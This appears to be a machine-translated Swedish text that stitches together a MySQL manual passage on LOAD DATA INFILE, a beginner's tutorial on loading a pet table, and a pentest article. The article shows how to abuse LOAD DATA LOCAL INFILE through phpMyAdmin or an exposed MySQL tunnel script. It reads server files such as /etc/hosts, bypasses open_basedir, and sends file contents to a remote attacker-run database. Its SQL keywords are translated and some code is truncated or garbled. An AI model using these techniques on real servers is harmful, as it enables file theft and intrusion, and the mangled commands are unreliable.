Till exempel, om avbryt-tecknet lämnas tomt, kommer ovanstående utdata att se ut som nedan. Det är lätt att se att det andra fältet på den fjärde raden innehåller ett kommatecken följt av ett citattecken, vilket (av misstag) skulle se ut som en fältavgränsare.
1"en sträng",100,20
2,"en sträng som innehåller ett , kommatecken",102.20
3,"en sträng som innehåller ett "citat",102.20
4,"en sträng som innehåller ett ", citat och kommatecken",102.20
Vid inmatning tas tecknet INKLUDET AV, om det finns, bort från slutet av fältvärdet. (Detta är sant oavsett om ordet VALFRIGT anges eller inte. Detta ord har ingen effekt på tolkningen av inmatningen.) Förekomsten av OMSLAGAD AV-tecken som föregås av ett ESCAPED BY-tecken tolkas som en del av fältets aktuella värde.
Om ett fält börjar med ett ENCLOSED BY-tecken, tolkas instanser av det tecknet som avslutande av fältets värde endast om de följs av ett TERMINATED BY-fält eller en sekvens. För att undvika tvetydighet när ett OMSLUTAD AV-tecken förekommer inom ett fältvärde, kan det tecknet dupliceras och kommer att tolkas som en enda instans av tecknet. Till exempel, om OMSLUTAD AV "" anges, hanteras citat enligt följande:
"Den "STORA""-chefen" -> Den "STORA"-chefen Den "STORA"-chefen -> Den "STORA"-chefen ""STORA""-chefen -> ""STORA""-chefen
FÄLT ESCAPED BY styr läsning eller skrivning av specialtecken. Om argumentet FIELDS ESCAPED BY inte är tomt, används det som ett prefix för följande tecken i utdata:

  1. Tecknet FÄLT ESCAPED BY.
  2. Tecknet FÄLT OMSLUTAS AV.
  3. Det första tecknet i sekvenserna FÄLT AVSLUTADE OCH LINJER AVSLUTADE AV sekvenser.
  4. ASCII 0 (som skrivs efter avbryttecknet som en ASCII "0", inte en nollbyte).

Om tecknet FIELDS ESCAPED BY är tomt föregås inga tecken av escape-tecken, och NULL matas ut som NULL, inte \N. Det är förmodligen inte en bra idé att lämna argumentet FÄLT ESCAPED BY tomt, speciellt om dina datafältsvärden innehåller något av de nämnda tecknen.
Vid inmatning, om FIELDS ESCAPED BY inte är tomt, tas det bort när det tecknet visas i värdesträngen, och tecknet efter det läses bokstavligen som en del av fältvärdet. Undantagen är "0" eller "N" (SYS-PAGE-CONTENT eller \N om "\" är escape-tecknet). Dessa sekvenser tolkas som ASCII NUL (noll byte) respektive NULL. Reglerna för att hantera NULL beskrivs längre fram i detta avsnitt.
Mer information om "\"-annulleringssyntaxen finns i avsnittet Literala värden
I vissa fall interagerar alternativ som styr fält och rader med varandra:

  1. Om en tom sträng specificeras för LINES TERMINATED BY och FÄLT TERMINATED BY inte är tomma, fungerar LINES TERMINATED BY också som radavgränsare.
  2. OM FÄLT SOM AVSLUTAS AV OCH FÄLT SOM OMSLUTAS AV båda är tomma, används det fasta strängformatet (inga avgränsare). Det här formatet använder inga avgränsare mellan fält (men du kan ha en radavgränsare). Istället skrivs och läses kolumnvärden med hjälp av kolumnvisningsbredden. Till exempel, om en kolumn deklareras som INT(7) skrivs kolumnens värden till ett fält med sju tecken. När du skriver hämtas kolumnvärdena genom att läsa sju tecken.

LINES TERMINATED BY används fortfarande för att separera linjer. Om en rad inte innehåller alla fält är resten av kolumnerna inställda på sina standardvärden. Om du inte har en radavslutning bör dess värde sättas till 1". I det här fallet måste textfilen innehålla alla fält på varje rad. Formatet med fast radlängd hanterar även NULL-värden, som beskrivs nedan. Observera att längden på fast linjeformat inte fungerar om en teckenuppsättning med flera byte används (till exempel Unicode).
Hanteringen av NULL-värden varierar beroende på FIELDS och LINES-alternativen som används:

  1. Med standardvärden för FIELDS och LINES skrivs NULL som ett fältvärde som \N vid utdata, och samma \N-värde läses som NULL vid inmatning (förutsatt att ESCAPED BY-tecknet är satt till "\")-
  2. Om FÄLT OMSLUTNA AV inte är tomt, läses fältet som innehåller det bokstavliga ordet NULL som ett NULL-värde. Detta skiljer sig från fallet där ordet NULL är begränsat till FÄLT OMSLUTAD AV tecken, där värdet läses som strängen "NULL".
  3. Om FIELDS ESCAPED BY är tomt, skrivs NULL som ordet NULL.
  • Med ett fast strängformat (vilket händer när både FÄLT SOM AVSLUTAS AV och FÄLT OMSLUTAS AV är tomma), skrivs NULL som en tom sträng. Observera att detta gör att NULL-värden och tomma rader i tabellen blir omöjliga att särskilja när de skrivs till filen, eftersom båda skriver null-rader. Om du behöver skilja mellan de två, undvik att använda formatet med fast linjelängd.
    Nedan finns några fall som inte stöds av LOAD DATA INFILE:
    1. Fixed-LENGTH-strängar (FÄLT AVSLUTADE AV OCH FÄLT OMGIVNA AV är nyc) när det finns kolumner av TEXT eller BLOB-typ.
    2. Om du anger en avgränsare som matchar prefixet för en annan, kan LOAD DATA INFILE inte tolka indataströmmen korrekt. Till exempel kommer följande alternativ att leda till problem:

    FÄLT AVSLUTADE AV ""OMGÅENDE AV""

    • Om FÄLT ESCAPED BY är tomma, kommer fältvärden som inkluderar tecknen FÄLT OMSLUTNA AV ELLER LINDER AVSLUTADE AV följt av LINES AVSLUTADE AV att göra att LOAD DATA INFILE slutar läsa filen eller raden för tidigt. Detta kommer att hända eftersom LOAD DATA INFILE inte kan avgöra var fältet eller radvärdet slutar korrekt. Följande exempel laddar alla kolumner i persondatatabellen: mysql> LADDA DATAINFIL "persondata.txt" I TABELL persondata;
      Som standard, om ingen lista med kolumner tillhandahålls i slutet av LOAD DATA INFILE-satsen, förväntas inmatningsraden innehålla fält för varje kolumn i tabellen. Om du bara vill ladda några av tabellkolumnerna, ange en lista med kolumner:
      mysql> LADDA DATAINFIL "persondata.txt1
      -> I TABELL persondata(koll, kol2,...);
      Du måste också ange en lista med kolumner om ordningen på fälten i inmatningsfilen skiljer sig från ordningen på kolumnerna i tabellen. Annars kommer MySQL inte att kunna mappa inmatningsfälten till tabellkolumnerna.
      Om indatafilen har för få fält per rad kommer de saknade kolumnerna att tilldelas standardvärden. Tilldelning av standardvärden beskrivs i avsnittet CREATE TABLE Syntax.
      Tomma fältvärden tolkas annorlunda än saknade:
      1. För strängtyper tilldelas en tom sträng till kolumnen.
      2. För numeriska typer tilldelas kolumnen 0.
      3. För datum- och tidstyper - kolumnen är inställd på lämplig typ
        "noll" värde. Se Datum- och tidstyper

      Det här är samma värden som är resultatet av att explicit tilldela en tom sträng till kolumner av dessa typer i en INSERT- eller UPDATE-sats.
      TIMESTAMP kolumnvärden ställs in på aktuellt datum och tid endast om de är inställda på NULL (det vill säga \N), eller om en kolumn av den typen utelämnas från fältlistan, om fältlistan är given.

      LOAD DATA INFILE behandlar all inmatning som en sträng, så du kan inte använda numeriska värden för ENUM- eller SET-kolumner, vilket är tillåtet i INSERT-satser. Alla ENUM- eller SET-värden måste anges som strängar!
      När satsen LOAD DATA INFILE slutförs returnerar den en informationssträng i följande format:
      Poster: Jag raderade: 0 Hoppade över: 0 Varningar: O
      Om du arbetar med C API kan du få information om detta uttalande genom att anropa funktionen mysql_info().
      Varningarna som visas under vissa förhållanden är desamma som när man infogar värden med INSERT-satsen (se avsnitt 6.1.4), förutom att LOAD DATA INFILE också genererar varningar om att det finns för lite eller för lite i indatafilen. många fält. Varningar lagras inte någonstans, antalet varningar kan bara användas som en indikation på att allt gick bra.
      Från och med MySQL 4.1.1 kan du använda SHOW WARNINGS för att lista de första max_error_count-varningarna som information om Vad laddningen gick fel. Se VISA VARNINGAR Syntax
      Före MySQL 4.1.1 var endast antalet varningar en indikation på att en laddning inte fungerade smidigt. Om du får en varning och vill veta exakt varför det hände, är det enda sättet att göra det att använda SELECT.. .INTO OUTFILE för att dumpa tabelldumpen till en annan fil och jämföra den med den ursprungliga indatafilen.

Navigera i handledningen: 1.1 Vad är MySQL? 1.2 Varför använda MySQL? 1.3 Hur stabil är MySQL? 1.4 Hur stora kan MySQL-tabeller vara? 1.5 MySQL, MySQL AB, MySQL-MAX: vad är det? 1.6 Vilka operativsystem körs MySQL på? 1.7 MySQL-distributioner 1.8 MySQL kommandoradsuppmaningar 2.1 Introduktion till MySQL 2.2 Ansluta till MySQL-server 2.3 Ange frågor i MySQL 2.4 Skapa och använda databaser 2.5 Skapa en MySQL-databas 2.6 Skapa en MySQL-datatabell i en MySQL-tabell Välj en MySQL-tabell 2.8 Ladda en MySQL-tabell. MySQL-tabell 2.9 Välja specifika rader från en MySQL-tabell 2.10 Välja godtyckliga kolumner från en MySQL-tabell 2.11 Sortera rader från en MySQL-tabell 2.12 Beräkna datum i en MySQL-tabell 2.13 Arbeta med NULL-värden i en MySQL-tabell som matchar 2 MySQL. SQL mallar. 2.15 Räkna rader i SQL-mallar. COUNT() funktion 2.16 Använda flera tabeller i en SQL-fråga 2.17 Få information om MySQL-databaser och tabeller 2.18 Exempel på vanliga frågor i MySQL 2.19 Maximalt värde för en MySQL-kolumn 2.20 Vilken rad lagrar maximalt för en viss kolumn MySQL a kolumn 2. i en MySQL-grupp 2.22 B vilken MySQL-rad är det maximala värdet per grupp? 2.23 Använda användarvariabler i MySQL 2.24 Använda MySQL-klienten i batchläge 3.1 Strängar i MySQL 3.2 Numbers i MySQL. Hur skriver man siffror i MySQL? 3.3 Hexadecimala värden i MySQL 3.4 NULL-värden i MySQL 3.5 Databas-, tabell-, index-, kolumn- och aliasnamn i MySQL 3.6 Skiftlägeskänslighet i MySQL-namn 3.7 Användarvariabler i MySQL 3.8 Kommentarer i MySQL-databas MySQL 3.8 Kommentarer 3 MySQL-databas. redundancy 4.2 MySQL BACKUP TABLE syntax 4.3 MySQL RESTORE TABLE syntax 4.4 MySQL CHECK TABLE syntax 4.5 MySQL REPAIR TABLE syntax 4.6 MySQL OPTIMIZE TABLE syntax 4.7 MySQL ANALYZE TABLE syntax 4.8 MySQL FLUSH syntax 4.9 MySQL KILL syntax 4.10 MySQL SHOW syntax MySQL 4.11 Синтаксис SHOW TABLE STATUS в MySQL 4.12 Синтаксис SHOW STATUS в MySQL 4.13 Синтаксис SHOW VARIABLES в MySQL 4.14 back_log 4.15 character_set, character_sets, concurrent_inserts 4.16 connect_timeout, delay_key_write, delayed_insert_limit 4.17 delayed_insert_timeout, delayed_queue_size, flush_time 4.18 have_raid, have_ssl, init_file 4.19 interactive_time ut, join_buffer_size, key_buffer_size 4. 20 language, log_bin, long_query_time 4.21 lower_case_table_names, max_allowed_packet, max_binlog_cache_size 4.22 max_connections, max_connect_errors, max_delayed_threads 4.23 max_join_size, max_sort_length, max_user_connections 4.24 max_tmp_tables, max_write_lock_count, myisam_sort_buffer_size 4.25 mуisam_max_extra_sоrt_file_size, myisam_max_sort_file_size, net_buffer_length 4.26 net_read_timeout, net_retry_count, net_write_timeout 4.27 open_files_limit, port, record_buffer 4.28 protocol_version , record_rnd_buffer, query_buffer_size 4.29 safe_show_databases, skip_networking, skip_show_databases 4.30 socket, sort_buffer, skip_show_databases 4.31 thread_cache_size, tmp_table_size, wait_timeout 4.32 Синтаксис SHOW PROCESSLIST в MySQL 4.33 Синтаксис SHOW GRANTS в MySQL 4.34 Синтаксис SHOW CREATE TABLE в MySQL 4.35 Файл опций my.cnf в MySQL 5.1 Kolumntyper i MySQL 5.2 Numeriska typer i MySQL 5.3 Datum- och tidstyper i MySQL 5.4 Y2K (2000) Problem- och datumtyper i MySQL 5.5 MySQL DATETIME, DATE, och TIME STAMP typer 5.6 MySQL TIME typ 5.7 MySQL YEAR typ 5.8 MySQL CHAR och VARCHAR strängtyper 5.9 MySQL BLOB och TEXT strängtyper 5.10 MySQL ENUM sträng typ 5.11 Välj en MySQL sträng typ 5.111 Välj en MySQL sträng typ 5.12 kolumn 5.13 Använda kolumntyper från andra DBMS för MySQL 5.14 Minneskrav för MySQL-kolumner 6.1 Funktioner för att använda MySQL i SELECT och WHERE 6.2 Untyped Bracket Operator i MySQL 6.3 Untyped Comparison Operator i MySQL 6.4 MySQL Funical 6.4 MySQL Function in MySQL MySQL

När du har skapat en tabell måste du fylla i den med data. Instruktioner och FÖRA IN användbar för detta. Hur de fungerar ska vi prata lite senare, men låt oss nu fundera på vilken data som behöver matas in i tabellen. Hur exakt ser de ut?

Låt oss anta att dina djurregister kan beskrivas enligt nedan. Observera att MySQL förväntar sig datum i år-månad-dag-format, detta kan skilja sig från vad du är van vid. Årtalet anges bäst med 4 siffror. MySQL har en ganska komplex algoritm för att hantera tvåsiffriga årsvärden korrekt, men du behöver inte förstå det ännu, så låt oss ange data entydigt. Alla djurdata för vårt exempel visas i tabell 2.2:

Tabell 2.2. Djurdata

namn ägare arter sex födelse död
Fluffig Harold katt f 1993-02-04
Fluffig Harold katt f 1993-02-04
Klor Gwen katt m 1994-03-17
Buffy Harold hund f 1989-05-13
Fang Benny hund m 1990-08-27
bowser Diane hund m 1989-08-31 1995-07-29
Chirpy Gwen birdie f 1998-09-11
Whistler Gwen birdie 1997-12-09
Smal Benny orm m 1996-04-29

Eftersom du börjar med en tom tabell är det enklaste sättet att fylla i den att skapa en textfil som innehåller en rad för vart och ett av dina djur och sedan ladda innehållet i filen i tabellen med bara en instruktion.

Du kan skapa en pet.txt-textfil som innehåller en post per rad, med värden separerade med tabbstopp i den ordning som kolumnerna listades i CREATE TABLE-satsen. För saknade värden (som okänt kön eller dödsdatum för djur som fortfarande lever) kan du använda NULL-värden. Använd en etikett för att presentera dem i en textfil. Till exempel, ett inlägg om en Whistler-fågel ser ut ungefär så här (jag markerade en flik med ett mellanslag):

Whistler Gwen birdie 1997-12-09

För att ladda data från en pet.txt-textfil som finns på den lokala datorn (klienten) och inte på servern till pet-tabellen, använd kommandot LOAD DATA:

Mysql> LADDA DATA LOKAL INFIL "pet.txt" I TABELL pet;

Nyckelorden har följande betydelse. INFILE anger en sträng som är namnet på filen att läsa data från. Eftersom namnet är en sträng är det omgivet av citattecken, annars kommer MySQL att försöka utvärdera det som ett numeriskt uttryck. LOKAL anger att filen ska letas upp på klientsystemet, inte servern. I BORD instruerar att ladda data i tabellen vars namn anges omedelbart efter ordet TABLE (avgränsade med ett mellanslag).

Du kan ange kolumnvärdesavgränsaren och radslutmarkören uttryckligen i uttalandet om du vill, men standardvärdena är bara tabbar och radnyheter. De räcker för att korrekt läsa pet.txt-filen, och du behöver inte mer nu.

När du vill lägga till nya poster en efter en är instruktionen användbar FÖRA IN. I sin enklaste form anger du värdena för varje kolumn i den ordning som kolumnerna listades i CREATE TABLE-satsen. Anta att Diane fick en ny Puffball-hamster i present. Du kan lägga till en ny post med hjälp av INSERT-satsen, ungefär så här:

MySQL> INSERT INTO pet
-> VÄRDEN ("Puffball","Diane","hamster","f","1999-03-30","NULL");

Nyckelorden här är inte heller speciellt svåra. INTO pet avgör vilket bord som ska sättas in i. VÄRDEN anger en lista med värden som ska infogas för en ny post i tabellen. Värdena listas separerade med kommatecken och alla står inom parentes.

Observera att strängar och datumvärdet definieras som strängar. Du kan infoga NULL direkt (inte som en sträng) för att representera frånvaron av ett värde.

Du kan se från det här exemplet att det skulle ta ganska mycket att skriva för att ladda direkt in i en tabell. Instruktionerna sparade mycket tid.

Jag beskriver en ganska vanlig situation. Under pentestet fick man åtkomst till phpMyAdmin på en fjärrvärd, men filerna kunde inte nås via den. Den ökända FILE_PRIV=no-flaggan i MySQL-demoninställningarna är skyldig till allt. Många i den här situationen ger upp och tror att filerna på värden inte längre kan läsas på detta sätt. Men det är inte alltid så.

VARNING

All information tillhandahålls endast i informationssyfte. Varken redaktörerna eller författaren är ansvariga för eventuell skada orsakad av materialet i denna artikel.

Förspel

När det kommer till interaktionen av MySQL DBMS med filsystemet, kommer de vanligtvis ihåg:

  • LOAD_FILE-funktionen, som låter dig läsa filer på servern;
  • SELECT ... INTO OUTFILE-konstruktionen, som kan användas för att skapa nya filer.

Följaktligen, om du får tillgång till phpMyAdmin eller någon annan klient på en fjärrdator, kan du med stor sannolikhet komma till filsystemet genom MySQL. Men bara om flaggan FILE_PRIV=yes är inställd i demoninställningarna, vilket inte alltid är fallet. I det här fallet måste vi komma ihåg en annan operatör, mycket mindre känd, men som samtidigt har ganska kraftfull funktionalitet. Jag pratar om uttalandet LOAD DATA INFILE, vars funktioner kommer att diskuteras i den här artikeln.

Interaktion mellan PHP och MySQL

PHP är det mest använda språket för att bygga webbapplikationer, så det är värt att titta närmare på hur det interagerar med en databas.

I PHP4 var MySQL-klientbiblioteken inkluderade som standard och inkluderade i PHP-distributionen, så under installationen kunde du bara välja bort att använda MySQL genom att ange alternativet

utan mysql.

PHP5 kommer utan ett klientbibliotek. På *nix-system byggs PHP5 vanligtvis med libmysqlclient-biblioteket redan installerat på servern, helt enkelt genom att ställa in alternativet

With-mysql=/usr

under monteringen. Samtidigt, före version 5.3, används ett lågnivå MySQL Client Library (libmysql) för att interagera med MySQL-servern, ett gränssnitt som inte är optimerat för kommunikation med PHP-applikationer.

MySQL Native Driver (mysqlnd) har utvecklats för PHP 5.3 och högre, och den senaste versionen av PHP 5.4 använder denna drivrutin som standard. Även om den inbyggda MySQL-drivrutinen är skriven som en PHP-tillägg, är det viktigt att förstå att det inte tillhandahåller ett nytt API till PHP-programmeraren. MySQL-databasens API för programmeraren tillhandahålls av tilläggen MySQL, mysqli och PDO_MYSQL. Dessa tillägg kan använda den inbyggda MySQL-drivrutinen för att kommunicera med MySQL-demonen.

Att använda den inbyggda MySQL-drivrutinen har vissa fördelar jämfört med MySQL-klientbiblioteket: du behöver till exempel inte installera MySQL för att bygga PHP eller använda skript som fungerar med databasen. Mer information om MySQL Native Driver och dess skillnader från libmysql finns i dokumentationen.

MySQL-, mysqli- och PDO_MYSQL-tilläggen kan konfigureras individuellt för att använda antingen libmysql eller mysqlnd. Till exempel, för att konfigurera MySQL-tillägget för att använda MySQL-klientbiblioteket och mysqli-tillägget för att fungera med MySQL Native Driver, skulle du ange följande alternativ:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

Syntax LADDA DATA

LOAD DATA-satsen, som dokumentationen säger, läser rader från en fil och laddar dem i en tabell med mycket hög hastighet. Det kan användas med nyckelordet LOCAL (tillgängligt i MySQL 3.22.6 och senare), som anger varifrån data ska laddas. Om ordet LOCAL saknas, laddar servern den angivna filen i tabellen från sin lokala dator och inte från klientens dator. Det vill säga att filen inte kommer att läsas av MySQL-klienten, utan av MySQL-servern. Men denna operation kräver återigen FILE-privilegiet (FILE_PRIV=yes-flaggan). Utförandet av satsen i det här fallet kan jämföras med att använda funktionen LOAD_FILE - med den enda skillnaden att data laddas in i tabellen och inte visas. Att använda LOAD DATA INFILE för att läsa filer är därför bara meningsfullt när LOAD_FILE-funktionen inte är tillgänglig, det vill säga på mycket gamla versioner av MySQL-servern.

Men om satsen används i denna form: LOAD DATA LOCAL INFILE , det vill säga med ordet LOCAL, så läses filen redan av klientprogrammet (på klientens dator) och skickas till servern där databasen finns. Samtidigt behövs naturligtvis inte FILE-privilegiet för att komma åt filer (eftersom allt händer på klientens dator).

MySQL/mysqli/PDO_MySQL-tillägg och LOAD DATA LOCAL-sats

I MySQL-tillägget styrs möjligheten att använda LOCAL av PHP_INI_SYSTEM-direktivet mysql.allow_local_infile. Som standard har detta direktiv ett värde på 1, och därför är den operatör vi behöver vanligtvis tillgänglig. Mysql_connect-funktionen låter dig också aktivera användningen av LOAD DATA LOCAL om det femte argumentet är konstanten 128.

När tillägget PDO_MySQL används för att ansluta till databasen kan vi även aktivera LOCAL-stöd med PDO::MYSQL_ATTR_LOCAL_INFILE (heltal) konstant

$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Men de största möjligheterna att arbeta med LOAD DATA-satsen tillhandahålls av mysqli-tillägget. Detta tillägg tillhandahåller även PHP_INI_SYSTEM-direktivet mysqli.allow_local_infile, som reglerar användningen av LOCAL.

Om anslutningen görs via mysqli_real_connect kan vi med hjälp av mysqli_options både aktivera och inaktivera LOCAL support. Dessutom är funktionen mysqli_set_local_infile_handler tillgänglig i detta tillägg, som låter dig registrera en återuppringningsfunktion för att hantera innehållet i filer som läses av LOAD DATA LOCAL INFILE-satsen.

Läser filer

Den uppmärksamma läsaren har förmodligen redan gissat att om vi har ett konto i phpMyAdmin, så kommer vi att kunna läsa godtyckliga filer utan att ha FILE-privilegiet, och till och med kringgå open_basedir-begränsningar. När allt kommer omkring är både klienten (i det här fallet phpMyAdmin) och MySQL-demonen väldigt ofta på samma maskin. Trots begränsningarna i MySQL-serverns säkerhetspolicy kan vi dra fördel av det faktum att denna policy inte gäller klienten, och ändå läsa filerna från systemet och skjuta in dem i databasen.

Algoritmen är enkel. Det räcker med att köra följande SQL-frågor:

  1. Skapa en tabell där vi kommer att skriva innehållet i filerna: CREATE TABLE temp(innehållstext);
  2. Skicka innehållet i filen till den skapade tabellen: LADDA DATA LOKAL INFIL "/etc/hosts" I TABELL temp FÄLT AVSLUTADE AV "eof" ESCAPED AV "" RADER AVSLUTADE AV "eof";

Voila. Innehållet i filen /etc/hosts finns nu i temptabellen. Behöver du läsa binärer? Inga problem. Om vi ​​i det första steget skapar en tabell så här:

SKAPA TABELL "bin" ("bin" BLOB INTE NULL) ENGINE = MYISAM ;

då kommer det att vara möjligt att ladda binära filer till den. Visserligen kommer extra bitar att läggas till i slutet av filerna, men de kan tas bort i vilken hex-redigerare som helst. Således kan du ladda ner skript skyddade av IonCube/Zend/TrueCrypt/NuSphere från servern och avkoda dem.

Ett annat exempel på hur du kan använda LOAD DATA LOCAL INFILE är att ta reda på sökvägen till Apache-konfigurationen. Detta görs på följande sätt:

  1. Först tar vi reda på vägen till binären, för detta läser vi /proc/self/cmdline som beskrivits ovan.
  2. Och sedan läser vi direkt binären, där vi letar efter HTTPD_ROOT/SERVER_CONFIG_FILE.


Det är tydligt att i denna situation spelar phpMyAdmin-skripten rollen som en klient för att ansluta till databasen. Och istället för phpMyAdmin kan du använda vilket annat webbgränssnitt som helst för att arbeta med MySQL.

Du kan till exempel använda skript för att säkerhetskopiera och återställa databasen. Redan 2007 publicerade en fransk hacker vid namn acidroot en exploatering baserad på denna kommentar och gjorde det möjligt att läsa filer från phpBBs adminpanel.<= 2.0.22.

Tunneln är bekväm. Tunnel osäker

Vid installation av komplexa webbapplikationer krävs ofta direktåtkomst till databasen, till exempel för initial konfiguration och justering av skript. Därför är det i vissa fall tillrådligt att installera ett enkelt skript på servern - den så kallade MySQL-tunneln, som låter dig fråga databasen med en bekväm klient istället för den tunga phpMyAdmin.

Det finns en hel del tunnlar för att arbeta med databasen, men alla är inte särskilt vanliga. Kanske en av de mest kända är Macromedia Dream Weaver Server Scripts. Du kan se källkoden för det här skriptet.

Den största skillnaden mellan MySQL Tunnel och phpMyAdmin är behovet av att ange inte bara inloggning och lösenord från databasen, utan också värden som du vill ansluta till. Samtidigt lämnas ofta tunnlar aktiva, ja, ifall man aldrig vet vad mer som behöver justeras. Det verkar som att du bara kan använda dem om du har ett konto i databasen - varför vara rädd då? Kort sagt verkar det som att tunneln inte utgör något särskilt säkerhetshot mot webbservern. Men i själva verket är inte allt så bra som det verkar vid första anblicken.

Tänk på följande situation. Låt server A ha en site.com-sida med en etablerad tunnel http://site.com/_mmServerScripts/MMHTTPDB.php. Låt oss anta att det på server A är möjligt att använda LOAD DATA LOCAL (som diskuterats ovan, detta är till exempel möjligt med standardinställningar). I det här fallet kan vi ta en fjärrstyrd MySQL-server, vars databaser är tillåtna från var som helst och som även låter dig använda LOCAL, och ansluta till denna server med en tunnel. Data för anslutning till en fjärransluten MySQL-server:

DB-värd: xx.xx.xx.xxx DB-namn: name_remote_db DB-användare: our_user DB-pass: our_pass

I den här situationen kommer server A att spela rollen som en klient, och därför kan vi skicka filer från dess värd till en fjärrdatabas, eller, med andra ord, läsa filer. Med följande enkla begäran:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LADDA DATA LOKAL INFIL /path/to/script/setup_options"e__phLE"INTO "e__phLE"INTO "Emp__p" BYT_SQL" INFIL "Emp_phLE" LINJER AVSLUTADE AV "__eof__"

Faktum är att denna sårbarhet är farligare än vanlig läsning av filer: den tillåter läsning av konfigurationsfilerna för skript installerade på server A. Genom samma tunnel kan du få direkt tillgång till databasen som hanterar dessa skript. Tekniken som beskrivs ovan för att använda muskeltunnlar kan generaliseras något och tillämpas när man utnyttjar unserialize sårbarheter.


klient-server

För att bättre förstå möjligheterna med LOAD DATA är det nödvändigt att komma ihåg att MySQL DBMS använder en traditionell klient-server-arkitektur. När vi arbetar med MySQL arbetar vi faktiskt med två program:

  • ett databasserverprogram som finns på datorn där databasen är lagrad. Mysqld-demonen lyssnar efter klientförfrågningar över nätverket och kommer åt innehållet i databasen och tillhandahåller den information som efterfrågas av klienterna. Om mysqld startas med --local-infile=0, kommer LOCAL inte att fungera;
  • klientprogrammet ansluter till servern och skickar förfrågningar till servern. MySQL DBMS-distributionen innehåller flera klientprogram: MySQL-konsolklienten (den mest använda), samt mysqldump, mysqladmin, mysqlshow, mysqlimport och så vidare. Och vid behov kan du till och med skapa ditt eget klientprogram baserat på standardklientbiblioteket libmysql, som kommer med MySQL DBMS.

Om användningen av standard MySQL-klienten misslyckas med att använda LOAD DATA LOCAL-satsen, bör du använda switchen --local-infile:

Mysql --local-infile sampdb mysql> LADDA DATA LOKAL INFIL "member.txt" INTO TABLE medlem;

Eller ange ett alternativ för klienten i filen /my.cnf:

local-infile=1

Det är viktigt att notera att som standard är alla MySQL-klienter och bibliotek kompilerade med alternativet --enable-local-infile för att säkerställa kompatibilitet med MySQL 3.23.48 och äldre, så LOAD DATA LOCAL är vanligtvis tillgängligt för standardklienter. Kommandon till MySQL-servern skickas dock huvudsakligen inte från konsolen, utan från skript, så webbutvecklingsspråk har också klienter för att arbeta med databasen, som kan skilja sig i funktionalitet från standard MySQL-klienten.

Naturligtvis kan den här funktionen i LOAD DATA-satsen utgöra en säkerhetsrisk för systemet, så från och med MySQL 3.23.49 och MySQL 4.0.2 (4.0.13 på Win) kommer LOCAL-alternativet bara att fungera om både klient och server Tillåt det.

Gå förbi open_basedir-begränsningar

Genom att använda LOAD DATA ganska ofta kan du kringgå begränsningarna för open_basedir. Detta kan vara användbart om vi till exempel har tillgång till en användares delade värdkatalog, men vill läsa skript från en annan användares hemkatalog. Sedan genom att installera det här skriptet

1)); $e=$pdo->exec("LADDA DATA LOKAL INFIL "./sökväg/till/fil" I TABELL testfält AVSLUTADE AV "__eof__" ESCAPED AV "" RADER AVSLUTADE AV "__eof__""); $pdo = null; ?>

Slutsats

Det är märkligt att den beskrivna möjligheten för LOAD DATA-operatören har varit känd i minst tio år. Omnämnandet av det kan till exempel hittas i biljetten [#15408] (Safe Mode / MySQL Vuln 2002-02-06), och sedan dykt liknande frågor upprepade gånger upp på bugs.php.net [#21356] [#23779 ] [#28632 ] [#31261] [#31711]. På vilket utvecklarna svarade ordagrant så här:

[e-postskyddad] Det är inte en bugg, det är en funktion :)

Eller tilldelad en "Status: Kommer inte att fixa"-biljett. Eller så var de begränsade till patchar som löste nästan ingenting. Biljetter om detta ämne dök upp igen. Därför fungerar den angivna metoden att kringgå open_basedir fortfarande på ett ganska stort antal servrar. Men med tillkomsten av den nya mysqlnd-drivrutinen verkar det som om beslutet togs att göra betydande ändringar: med standardinställningar kommer detta uttalande inte längre att köras alls [#54158] [#55737]. Låt oss hoppas att utvecklarna inom en snar framtid kommer att få ordning på saker och ting i denna fråga.